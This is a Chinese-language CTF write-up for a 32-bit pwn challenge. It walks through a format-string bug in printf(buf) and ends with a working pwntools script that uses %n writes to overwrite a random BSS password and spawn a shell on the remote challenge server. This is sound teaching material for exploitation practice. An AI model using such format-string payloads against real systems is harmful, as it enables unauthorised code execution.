解题思路:
泄露或修改内存数据:
- 堆地址:无需
- 栈地址:无需
- libc地址:无需
- BSS段地址:[[Format String覆盖内存]]
劫持程序执行流程:
获得shell或flag:[[调用程序中的system]]
学到的知识:
[[atoi()]]
题目信息:
┌──(kali㉿kali)-[~/Desktop]
└─$ file pwn
pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6a8aa744920dda62e84d44fcc440c05f31c4c23d, stripped
┌──(kali㉿kali)-[~/Desktop]
└─$ checksec --file=pwn
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 2pwn
libc版本:
wp借鉴:
核心伪代码分析:
存在利用的的代码:
int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]
v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &dword_804C044, 4u);
printf("your name:");
read(0, buf, 0x63u);
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}
分析:
该试题有格式化字符串漏洞,需要满足if ( atoi(nptr) == dword_804C044 )
即可攻破程序,dword_804C044
的值位于bss段且占4个字节(都会生成随机数),要使atoi(nptr) == dword_804C044
必须使用格式化字符串将dword_804C04所有字符初始化,即可攻破该程序。
1. 泄露或修改内存数据
存在的漏洞利用点:
- 堆地址:无需
- 栈地址:无需
- BSS段地址:
修改dword_804C044
的值:
.bss:0804C044 dword_804C044 dd ? ; DATA XREF: main+77↑o
.bss:0804C044 ; main+108↑o
.bss:0804C044 _bss ends
.bss:0804C044
利用0x804C044,0x804C045,0x804C046,0x804C047
计算出输入入口的参数位置:是第10个参数
00:0000│ esp 0xffffd040 —▸ 0x804a020 ◂— 'Hello,'
01:0004│ 0xffffd044 —▸ 0xffffd068 ◂— 'aaaa%p%p%p%p\n'
02:0008│ 0xffffd048 ◂— 0x63 /* 'c' */
03:000c│ 0xffffd04c ◂— 0x0
04:0010│ 0xffffd050 —▸ 0xf7ffdb30 —▸ 0xf7fc33f0 —▸ 0xf7ffd9d0 ◂— 0x0
05:0014│ 0xffffd054 ◂— 0x3
06:0018│ 0xffffd058 —▸ 0xf7fc3420 —▸ 0x804837f ◂— 'GLIBC_2.0'
07:001c│ 0xffffd05c ◂— 0x1
08:0020│ 0xffffd060 ◂— 0x0
09:0024│ 0xffffd064 ◂— 0x1
0a:0028│ ecx 0xffffd068 ◂— 'aaaa%p%p%p%p\n'
脚本:
from pwn import *
context(log_level='debug',arch='i386',os='linux')
pwnfile='./pwn'
sh=remote('node4.buuoj.cn',26490)
#sh=process(pwnfile)
bss_addr=0x804C044
payload1=p32(bss_addr)+p32(bss_addr+1)+p32(bss_addr+2)+p32(bss_addr+3)
payload1+=b'%10$n%11$n%12$n%13$n'
payload2=str(0x10101010)
sh.recvuntil("your name:")
sh.sendline(payload1)
sh.recvuntil("your passwd:")
sh.sendline(payload2)
#gdb.attach(sh)
#pause()
sh.interactive()